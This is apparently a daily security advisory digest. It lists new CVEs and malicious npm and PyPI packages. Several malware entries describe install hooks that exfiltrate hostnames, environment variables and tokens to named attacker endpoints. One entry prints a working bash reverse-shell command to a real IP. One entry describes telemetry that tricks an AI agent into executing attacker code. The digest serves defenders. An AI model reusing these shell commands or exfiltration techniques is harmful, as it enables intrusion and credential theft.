CVE-2026-90029	New						In the Linux kernel, the following vulnerability has been resolved: usb: storage: realtek_cr: fix use-after-free on disconnect realtek_cr_destructor() calls timer_delete() before the chip containing the timer is freed. The timer callback may still be running and can rearm itself, resulting in a use-after-free. Use timer_shutdown_sync() to wait for the callback and prevent...
CVE-2026-90031	New						In the Linux kernel, the following vulnerability has been resolved: usb-storage: ene_ub6250: fix race between scan work and probe ene_ub6250_probe() calls usb_stor_probe2(), which starts the usb-storage infrastructure and schedules the delayed scan work. The driver then calls ene_get_card_type(), which sends an ENE command through ene_send_scsi_cmd() and the usb-storage b...
CVE-2026-90033	New						In the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: fix OOB write in snd_usbmidi_us122l_output() The snd_usbmidi_us122l_output() picks a count of 2 on anything slower than high speed and never relates it to ep->max_transfer. The URB buffer holds exactly max_transfer bytes, so a device declaring a one byte bulk endpoint takes two bytes from...
CVE-2026-90034	New						In the Linux kernel, the following vulnerability has been resolved: usb: image: mdc800: change kmalloc() to kzalloc() Change the kmalloc() calls in usb_mdc800_init() for irq_urb_buffer and download_urb_buffer to kzalloc(), avoiding potential stack leaks if a shorter message is received in mdc800_usb_irq() and mdc800_usb_download_notify()
CVE-2026-90035	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: fix division by zero in get_estimated_bw() get_estimated_bw() divides by link->dpia_bw_alloc_config.bw_granularity, which is zeroed by reset_bw_alloc_struct() and only populated once DP_TUNNELING_BW_ALLOC_CAP_CHANGED has been handled. link_dp_dpia_handle_bw_alloc_status(), the DPCD interr...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90039	New						In the Linux kernel, the following vulnerability has been resolved: NFSD: Guard admin state-revocation walks with NFSD_NET_UP Writing to /proc/fs/nfsd/unlock_filesystem, or sending the NFSD_CMD_UNLOCK_FILESYSTEM or NFSD_CMD_UNLOCK_EXPORT netlink command, walks the NFSv4 client hash tables to revoke open state and cancel async COPY operations. All three handlers gate that ...
CVE-2026-90040	New						In the Linux kernel, the following vulnerability has been resolved: KVM: SEV: Forcefully invalidate SNP VMVA if its backing gmem page is zapped Wire up a gmem_invalidate_range() call for SNP VMs, and use it to force vCPUs to reload/recheck their guest-provided VMVA if the backing gmem page is being invalidated, e.g. is being PUNCH_HOLE'd. Use the same core logic to handle...
CVE-2026-90999	New						Sentry Seer is vulnerable to a multi-stage trust-boundary violation that allows unauthenticated attacker-controlled telemetry to become code that is executed by an agent in a privileged automation environment. An external attacker can submit fabricated Sentry events without having access to the victim's Sentry account, source repository, or infrastructure.
CVE-2026-92126	New						Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.
CVE-2026-92571	New						Rejected reason: CVE ID reserved in error and not assigned to a vulnerability. The correct CVE ID is CVE-2026-92574.
GHSA-4rmp-vchm-9gyg	New					npm:kartyk-github-token-pkg	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (3cf7fd25b60cd680892113ab7de697ebe897542c013c8c4a977bb4852a593619) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-4vpr-3r9p-p9fh	New					npm:kartyk-github-single-ver-pkg	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (dc583cefb03bc649c96d2e8b48cc2bd5d73d8f6c489ded9b46c217ba1f212ddb) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-4vxh-7998-9h4g	New					npm:kartyk-github-oidc-test-pkg	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (1c0bc4570b5c41bc6a589bf16daea1a90f52e57b878fe6219afb1102ec24c535) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...
GHSA-63f3-rmrf-6m9q	New					npm:pkg-rollback-dreed-vice-sonic-ponds	--- _-= Per source details. Do not edit below this line.=-_ ## Source: ghsa-malware (d5c66c5e78670d2099776492aa1a836a031eea3a9d43b2ffe5911a19b62c71d4) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be remo...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
GHSA-hxjg-93wc-h8p8	New					Go:github.com/komari-monitor/komari	Komari: Management Interface CSRF in github.com/komari-monitor/komari
MAL-2026-16204	New					npm:@prime0/alanced-match	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (53d49bf28eb233bca0591b32c11b411d1c10b8e8f978d1b76c6df2e6a00772f3) The package @prime0/alanced-match is a 1-character-drop typosquat of balanced-match. Its postinstall.js runs automatically on npm install and POSTs a host fingerprint (hostname, username, platform, arch, cwd, node versio...
MAL-2026-16205	New					npm:@prime0/inimatch	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d094698410f0146ad3f51ff8860d657ca28b5f55b77ef9593b637b956996180f) @prime0/inimatch is a typosquat of minimatch that behaves as a stealth remote-access agent. postinstall.js runs on npm install and POSTs a host fingerprint (hostname, username, platform/arch, cwd, node version, pid, non-...
MAL-2026-16206	New					npm:@prime0/pcomatch	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (08299e41eb4feb9e324854bf5cd3386e6e52696b4b11443254374897a1ad3816) index.js and the postinstall lifecycle script contact a hardcoded bare-IP endpoint at http://69.48.229.140:8080 over plain HTTP. On `npm install`, the postinstall hook collects host identifiers (hostname, username, platf...
MAL-2026-16207	New					npm:chai-as-agile	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (90d46bc75e0c086e929855baefd9f9f847ebe6e85f8a004c9de72502d0fb6263) On require('chai-as-agile'), index.js loads lib/initializeCaller.js which decodes a base64-obfuscated URL to https://ipcheck-hashed.vercel.app/api/auth/6c1d60d35852ef0c05df and POSTs the full contents of process.env to t...
MAL-2026-16208	New					npm:otel-span-adapter	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (9e800a0d88fb9a757c0ca5ecc09f0217522e72575d3e570a87c167090740de7d) The package presents itself as an OpenTelemetry span adapter but on module load schedules a bootstrap routine via setImmediate that reads /proc/self/environ, enumerates all process.env entries via Object.entries(process....
MAL-2026-16209	New					npm:strapi-plugin-ccsuc-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8fb6207f1b4ec4d94c724583a5f32b85f68d203e1a9e6372705b410efbf9173a) The package's postinstall lifecycle script (postinstall.js, wired via scripts.postinstall in package.json) checks the installer's hostname against a hardcoded allowlist value ('ubuntu-fc-uvmm') and, on match, spawns /bin/...
MAL-2026-16210	New					npm:strapi-plugin-pencc-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3b4277c223cb7d5a9b8c263570a18670ee5054779862fbb801024a55629aa208) postinstall.js is registered as the package's postinstall script and runs automatically on npm install. It compares os.hostname() to the hardcoded string 'ubuntu-fc-uvmm' and, on a match, executes `bash -c "bash -i >& /de...
MAL-2026-16211	New					npm:swnwall	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (70fb3b7b76f32b1c101b04c15933b403658f199267e9c3c34e9a9aba917949a) On require/import, index.js invokes initialize() which spawns loader.js as a detached, hidden background child process (detached: true, windowsHide: true, stdio: 'ignore', unref'd) and records a.pid file to avoid re-spaw...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16212	New					PyPI:cli-anything-ai-market	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (c5319f74a06670d40b020831dae38da696aa966dc1fdfe45063abb0024df922) setup.py runs automatically during `pip install` and POSTs the installer's OS, username (USER/USERNAME), and hostname (via COMPUTERNAME on Windows or the `hostname` command on POSIX) as form-encoded data to the hardcoded...
MAL-2026-16213	New					npm:discord-players	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (3eadb25768efba4ff9dc9170a838f90f6572993195d37e526543fa956e65faa2) index.js is the package main and unconditionally starts a backup loop at module top level. On require, BackupManager zips process.cwd() (excluding node_modules,.git, archives) via archiver and uploads the archive with Te...
MAL-2026-16214	New					npm:discord-resolvers	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (6aa01ed90340a9458c2906ec74fd9277bb7d0e4da48ef09487639aa6c45e6791) The package published as discord-resolvers is unrelated to Discord. On require, index.js invokes startBackupLoop() at top level, which recursively archives the /root directory on Linux (or the drive root, typically C:\, ...
MAL-2026-16215	New					npm:engin1	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (1e843727c643c5d966acaa66461f7e392813a4284cd8181b4bb9b24ddfb8447a) The package's main entrypoint (index.js) invokes an initializer at top level that spawns loader.js as a detached background Node process on every require/import. loader.js issues an HTTPS GET to https://api.npoint.io/24c...
MAL-2026-16216	New					npm:tetomood	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (6c09686feb7c38e815ef9a615a6ceba2444029a34ea9d6bee8598a76bc8e8f92) package.json declares both preinstall and postinstall scripts that invoke wget to POST the installer's current working directory (\$(pwd)) and machine hostname (\$(hostname)) to a hardcoded Discord webhook endpoint on disc...
MAL-2026-16217	New					npm:tetotest	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (b181542b0c55a472e316ca973cc5b1deaf31986645fd326903e8c31ab20acab6) package.json declares preinstall and postinstall lifecycle scripts that invoke wget to POST the installer's shell-expanded working directory (\$(pwd)) and machine hostname (\$(hostname)) to a hardcoded Discord webhook at h...
MAL-2026-16219	New					PyPI:licloud	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (380753d9b58e068e84b5bd87242ad31e4b833cdcc056021925aa2dcc91633b46) setup.py unconditionally collects the installer's OS name, username, and hostname and POSTs them to a hardcoded plain-HTTP bare-IP endpoint (http://182.92.143.23/collect.php) before invoking setup(). The beacon fires on ...
MAL-2026-16220	New					npm:jexkcode	Versions 1.0.1 through 1.1.4 of jexkcode automatically follow a hard-coded WhatsApp newsletter whenever a WhatsApp connection opens. The package waits three seconds and calls newsletterFollow without obtaining user consent or exposing a configuration option. The README advertises newsletter support but does not disclose this automatic account modification. Versions through 1...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16222	New					npm:@traktis/core	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (45eb01f2eb09b73c0660d97e76d37ab8f7d62773cab9cddbdea65039a37dbb534) package.json declares preinstall and postinstall lifecycle scripts that run curl against http://tko.amgsec.com/depconf/traktis-core/ on every `npm install`, carrying the output of whoami, hostname, and PWD as query param...
MAL-2026-16223	New					npm:@traktis/environment	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (6b9bdabc95f4e8bc70e348557c1cae7d2447d9bd1405ac7a23945ded47ec04a8) package.json declares preinstall and postinstall lifecycle scripts that invoke curl against the hardcoded cleartext endpoint http://tko.amgsec.com/depconf/traktis-environment/, sending the output of whoami, hostname, cwd...
MAL-2026-16224	New					npm:process-mite	This package is part of a malicious npm campaign published by the `max233` account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implements clipboard collection, keyboard and mouse event collection, filesystem scan...
MAL-2026-16225	New					npm:strapi-plugin-cccon-meeb	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (b6c0ca5cf1881ed03c4a8b91832bcd8f65854bd36d9b764843370d26f599c2a0) postinstall.js runs automatically on `npm install` and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via `/dev/tcp`, granting that host interactive command execution on the installing machin...
MAL-2026-16226	New					npm:strapi-plugin-ccip-meeb	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (fbf7a24da69c80ba7475efcb12c97f1be8b4ebbed42b47131ac9716ff38d5620) strapi-plugin-ccip-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value...
MAL-2026-16227	New					npm:strapi-plugin-ccrec-meeb	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (27dd1178f43debc9babc6630aa303b6953e7572d994f8efe3acc75db2cc878e) The package's postinstall lifecycle script (postinstall.js) executes a bash /dev/tcp reverse shell to the hardcoded remote endpoint 14.225.210.85:80, giving the operator of that host an interactive shell on the installer...
MAL-2026-16228	New					npm:strapi-plugin-ccrev-meeb	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (cbcdfb404042de180795640d5ea266d8fe50afff5d180b3da0eab17f979369f3) postinstall.js executes automatically on `npm install` and opens a bash reverse shell via /dev/tcp redirection to the hardcoded remote endpoint 14.225.210.85:80, retrying up to 5 times. Execution is gated by an os.hostna...
MAL-2026-16229	New					npm:strapi-plugin-conresh-meeb	--- _-= Per source details. Do not edit below this line.=_ ## Source: amazon-inspector (d117fca143f7c8f02261755b923b29cae47f8fdcca2f69f169e26a5601b3661a) The package declares a postinstall lifecycle hook ("postinstall": "node postinstall.js") that executes on every `npm install`. postinstall.js invokes child_process.exec with a bash reverse-shell command connecting the in...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16230	New					npm:strapi-plugin-feedmeeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (7ecf1e41fb24d24ffe7b55319dda947ae30bfabb9266e38c17e1231cf4492ec5) strapi-plugin-feedmeeb@3.6.8 ships a package.json postinstall hook that executes postinstall.js on npm install. The script constructs a bash reverse shell of the form `bash -i >& /dev/tcp/14.225.210.85/80 0>&1` and exec'...
MAL-2026-16231	New					npm:strapi-plugin-honey-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (752c0a1146068824e355a38b25add15f092d7cea6f846c143b5b2d2210de6766) The package's postinstall lifecycle script (postinstall.js) spawns a Python-based reverse shell that opens a TCP socket to the hardcoded IP 14.225.210.85:80, dup2's stdin/stdout/stderr onto the socket, and calls pty.spawn...
MAL-2026-16232	New					npm:strapi-plugin-listcc-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (63bef6a3804e282781fb0eaea1ffd045ef3b236aefd0668de11549aba1ada8b0) strapi-plugin-listcc-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js' (and points main at the same file), so `npm install` auto-executes postinstall.js. That script spawns a Python one-liner via child_proc...
MAL-2026-16233	New					npm:strapi-plugin-maylog-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (8d714c1585f058d5ac528832398ffe2d0035fd8b60e97e461cdfa8e1533e851c) The package's postinstall.js lifecycle script executes automatically on `npm install` and spawns a python3 reverse shell that connects to the hardcoded remote endpoint 14.225.210.85:80 and attaches an interactive `sh` PT...
MAL-2026-16234	New					npm:strapi-plugin-os-rec	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (6b7f08345375bd52a25c34cc61a3e877c1a9f8f364a90a76b3a1eff55216ea03) postinstall.js runs automatically on npm install and collects host reconnaissance data — os.hostname(), os.platform(), os.arch(), os.type(), os.release(), the current username, and enumeration of all network interface ad...
MAL-2026-16235	New					npm:strapi-plugin-osag	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (34d9349a970008e54774fc533af589248d578e1d34f6f82a9a6630beeabd2203) The package presents itself as a Strapi plugin but ships no plugin code — only a postinstall.js script that runs automatically on `npm install`. The script collects installer-side host identifiers (hostname, OS platform/...
MAL-2026-16236	New					npm:strapi-plugin-perev-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (29840a9eddc4894177d910b38ef1808c0ba7a402c267160fe8e86cff48873700) The npm postinstall hook executes postinstall.js, which uses child_process to spawn a Python reverse shell that connects to the hardcoded remote host 14.225.210.85:80 and dup2's a PTY-backed /bin/sh over the socket, givi...
MAL-2026-16237	New					npm:strapi-plugin-persh-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (67ce68eeb9a309b5fff512e24a1b8f4c12fb171c0752d6a04293a4e72c805088) strapi-plugin-persh-meeb@3.6.8 ships a postinstall.js (also declared as the package `main`) that runs automatically on `npm install`. The script spawns a Python one-liner that opens a TCP socket to the hardcoded bare IP ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16238	New					npm:strapi-plugin-portcc-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5f04ef6b35ce447e6825a520a88eda4fe27ebfe6214648906db673e7d57ea86b) Package advertises itself as a Strapi plugin but ships no plugin functionality; the entire payload is postinstall.js, which is also declared as the package `main`. On install, postinstall.js checks os.hostname() against ...
MAL-2026-16239	New					npm:strapi-plugin-pysh-meeb	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (188e8ecd93a0124135c178af848914dbd0f8cc7c3f9fdc7f5137fc94e46bb27d) strapi-plugin-pysh-meeb@3.6.8 ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (`python3 -c 'import sys,socket,o...`
MAL-2026-16240	New					PyPI:praetorian-mind-rce-test-2026	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (a7a16a607fd396ce7218fb45728cb3ca55f541326c83a063668a7a170b46acc1) At `pip install` time, setup.py calls a phone_home() routine at module top-level before setup() runs. The routine collects extensive host and container reconnaissance — hostname, uid/gid, uname, /etc/resolv.conf, /etc/ho...
MAL-2026-16241	New					PyPI:rak-lab-yoav-orca-zrktcd2cp5hjm o4x7	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (486630eaae2b9eb50d03d73886a14b7249b0c28fda2cb3f6a13565c8cd38a9bb) pypi package rak-lab-yoav-orca-zrktcd2cp5hjm o4x7 version 9.9.9 ships a setup.py that, during pip install, reads the DEPLOYMENT_TOKEN environment variable and POSTs it as JSON to https://webhook.site/27c83a25-7d20-44e9-98a...
MAL-2026-16242	New					PyPI:trongappy	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (145727605bb141edc0fa9697253b211a1b0e467db2a484a2cedd163bcc6df1b7) The package exposes a single public function `perm(private_key)` that POSTs its `private_key` argument as JSON to the hardcoded URL https://reda-sequestered-justine.ngrok-free.dev/tron and then queries a `/switcher` endpoint...
MAL-2026-16243	New					npm:idx_form_script	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3cc222b7d4398590749d82ffc06100ca629c6e07970a0f95bcf63889fda19cd3) idx_form_script@999.0.2 is published with an implausibly high version number characteristic of dependency-confusion attacks against private internal package names. package.json declares a postinstall hook that runs callb...
MAL-2026-16253	New					npm:laycot	This package is part of a malicious npm campaign published by the `laycot` account. Importing the package automatically launches a detached JavaScript loader that retrieves and executes additional code from npoint.io. The retrieved payload communicates with an attacker-controlled server and implements clipboard collection, keyboard and mouse event collection, filesystem scan...

Significant updates today - original Published Date retained

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-59965	Updated - Fix/version updated				0.003	npm:@jhb.software/payload-alt-text-plugin	## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission ### Summary `@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findById` and `update`) without setting `overrideAccess: false`. Because Payload's internal logic evalua...
CVE-2026-61560	Updated - Fix/version updated		CRIT		0.007	npm:@zereight/mcp-gitlab	### Summary The SSE transport mode (`SSE=true`) exposes all MCP tools without any authentication. The `upload_markdown` tool reads arbitrary files from the server's local filesystem via an unsanitized `file_path` parameter and uploads them to a GitLab project. Combined, any unauthenticated network-reachable attacker can read `/proc/self/environ` to steal the server's `GITLA...

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-58704	Added to KEV	8.8	HIGH	Yes	0.001	google:pixel	Google Pixel devices contain an improper authorization vulnerability in the cellular modem. A logic error may allow an attacker to bypass permission checks and escalate privileges.
CVE-2026-87886	Added to KEV			Yes		acronis:backup	Acronis Backup plugin for cPanel & WHM and extension for Plesk contains an incorrect default permissions vulnerability that could allow for privilege escalation.

P1 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-76460	New	10.0	CRIT	Yes		cisco:identity_services_engine, cisco:identity_services_engine_passive_identity_connector	A vulnerability in an API of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to bypass authentication. This vulnerability is due to insufficient authentication control on an API endpoint. An attacker could exploit this vulnerability by sending a crafted request to an affected API endpoint. A successful exploit could allow the attacker ...

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20130	New	10.0	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC), engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulne...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20192	New	10.0	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulner...
CVE-2026-70416	New	10.0	CRIT				Dell ObjectScale, versions prior to 4.4.0.0, contains a Deserialization of Untrusted Data vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Remote execution.
CVE-2026-76423	New	10.0	CRIT				A vulnerability in the REST API of Cisco ISE and Cisco ISE-PIC could allow an unauthenticated, remote attacker to gain administrative access to an affected device. This vulnerability is due to the REST API web service being exposed with insufficient authorization checks. An attacker could exploit this vulnerability by sending a crafted HTTP request to the exposed REST API...
CVE-2026-92808	New	10.0	CRIT				A server-side request forgery (SSRF) vulnerability exists in the UnifiedLogin service of Altium Enterprise Server. An unauthenticated network attacker can cause the server to issue outbound HTTP requests to a destination of the attacker's choosing, including internal services that are reachable only from the server itself. One such internal service exposes server configu...
CVE-2026-20234	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Identity Services Engine (ISE) and Cisco ISE Passive Identity Connector (ISE-PIC) engineering teams have conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulner...
CVE-2026-20307	New	9.9	CRIT				A vulnerability in the web-based management interface of Cisco ISE could allow an authenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to insecure deserialization of a user-sup...
CVE-2026-20322	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20322 are related to improper acc...
CVE-2026-20324	New	9.9	CRIT				A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure Firewall Management Center (FMC) Software could allow an authenticated, remote attacker to execute arbitrary commands as root. This vulnerability exists because a registered sftunnel peer has incorrect permissions to write an arbitrary file to any location on the device. An attacker could ...
CVE-2026-20325	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20325 are related to improper neu...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20329	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20330	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2026-20332	New	9.9	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Secure Adaptive Security Appliance Software, Cisco Secure Firewall Threat Defense Software and Cisco Secure Firewall Management Center Software engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses m...
CVE-2025-56563	New	9.8	CRIT				A Server-Side Request Forgery vulnerability exists in sat_proxy.php in Zenith Satellite Tracker 1.0. The script accepts an attacker-controlled address URL parameter and passes it to curl_setopt(CURLOPT_URL) without host or scheme validation. An unauthenticated remote attacker can leverage this to make arbitrary HTTP and HTTPS requests from the server to internal networks or ...
CVE-2025-59953	New	9.8	CRIT			pip:lmdeploy	LMDeploy is a toolkit for compressing, deploying, and serving large language models. Starting in version 0.9.1 and prior to version 0.10.2, the LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messa...
CVE-2026-12793	New	9.8	CRIT		0.004		The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.6.2. This is due to the plugin not validating that a submitted form ID belongs to a JetFormBuilder form before parsing the referenced post's content as form schema and executing an Advanced Validation server-side callback. This m...
CVE-2026-14349	New	9.8	CRIT		0.004		The TrueBooker – Appointment Booking and Scheduler System plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.2.3. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify the email address of arbitrary user accounts, including...
CVE-2026-20242	New	9.8	CRIT				A vulnerability in the External Database Access feature of Cisco Secure Firewall Management Center (FMC) Software could allow an unauthenticated, remote attacker to execute arbitrary commands as root on an affected device. This vulnerability is due to insecure deserialization of a user-supplied Java byte stream from a host that is configured in the external database ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-20326	New	9.8	CRIT				As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Nexus Dashboard engineering team has conducted a comprehensive internal security review. This review resulted in a software hardening release that addresses multiple internally discovered vulnerabilities. The vulnerabilities tracked by CVE-2026-20326 are related to missing authentic...
CVE-2026-27546	New	9.8	CRIT		0.01		An unauthenticated remote attacker can exploit an authentication bypass in the _account_log function to log in as an admin, even when accounts are properly configured.
CVE-2026-27565	New	9.8	CRIT		0.009		An unauthenticated remote attacker can upload a malicious IODD file that places and executes a shell script with root privileges. The shell script remains active even after a reboot.
CVE-2026-51990	New	9.8	CRIT				An issue in Sogou Sogou Input Method < 16.3.0.3498 (fixed in 16.3.0.3498) allows a remote attacker to execute arbitrary code via the biz_helper.exe component
CVE-2026-68536	New	9.8	CRIT				Server-Side Request Forgery / Local File Inclusion in Apache MyFace Core. Older unsupported versions may also be affected. Users are recommended to upgrade to versions 2.3.12, 2.3-next-M9, 3.0.4, 4.0.4, or 4.1.4, which fix this issue.
CVE-2026-76187	New	9.8	CRIT		0.002		Apache Airflow Keycloak provider: the unauthenticated token endpoint accepts a client-credentials grant for any confidential client registered in the Keycloak realm, not only the client configured for Airflow. No allowlist restricts which client ids may authenticate, so the credentials of an unrelated application that happens to share the realm are valid Airflow login creden...
CVE-2026-82311	New	9.8	CRIT		0.002		Apache Airflow FAB provider: resetting a user's password does not delete that user's existing database-backed sessions, despite documented behaviour that it does. The cleanup compares the string identifier Flask-Login stores in the session against the user's integer database identifier, so the comparison never matches and no session is removed. An attacker who already holds ...
CVE-2026-89778	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: isofs: fix out-of-bounds page array access on empty zisofs block zisofs_uncompress_block()'s empty-block fast path returns pcount << PAGE_SHIFT, ignoring the incoming poffset, unlike the decompression path which returns bytes produced relative to poffset. zisofs_fill_pages() uses that return to advance its...
CVE-2026-89783	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: xfrm6: fix out-of-bounds write in xfrm6_input_addr() when secpath is full The depth check in xfrm6_input_addr() is off by one: if (1 + sp->len == XFRM_MAX_DEPTH) goto drop; ... sp->xvec[sp->len++] = x; xfrm_input() can leave sp->len == XFRM_MAX_DEPTH, and the transport-mode receive path r...
CVE-2026-89788	New	9.8	CRIT		0.002		In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix tree connection use-after-free in smb2_tree_connect() ksmbd_tree_conn_connect() publishes a new tree connection in sess->tree_conns with a single reference and returns its pointer to smb2_tree_connect(). The handler continues to initialize the object and build the response after publication. A c...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89847	New	9.8	CRIT				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Avoid double completion in async IOCB timeout qla2x00_async_iocb_timeout() tries to abort a timed-out async IOCB. When qla24xx_async_abort_cmd() fails, both the SRB_LOGIN_CMD path and the SRB_CTRL_VP/default path scan outstanding_cmds[] for the SRB and then call sp->done(sp, QLA_FUNCTION_TIM...
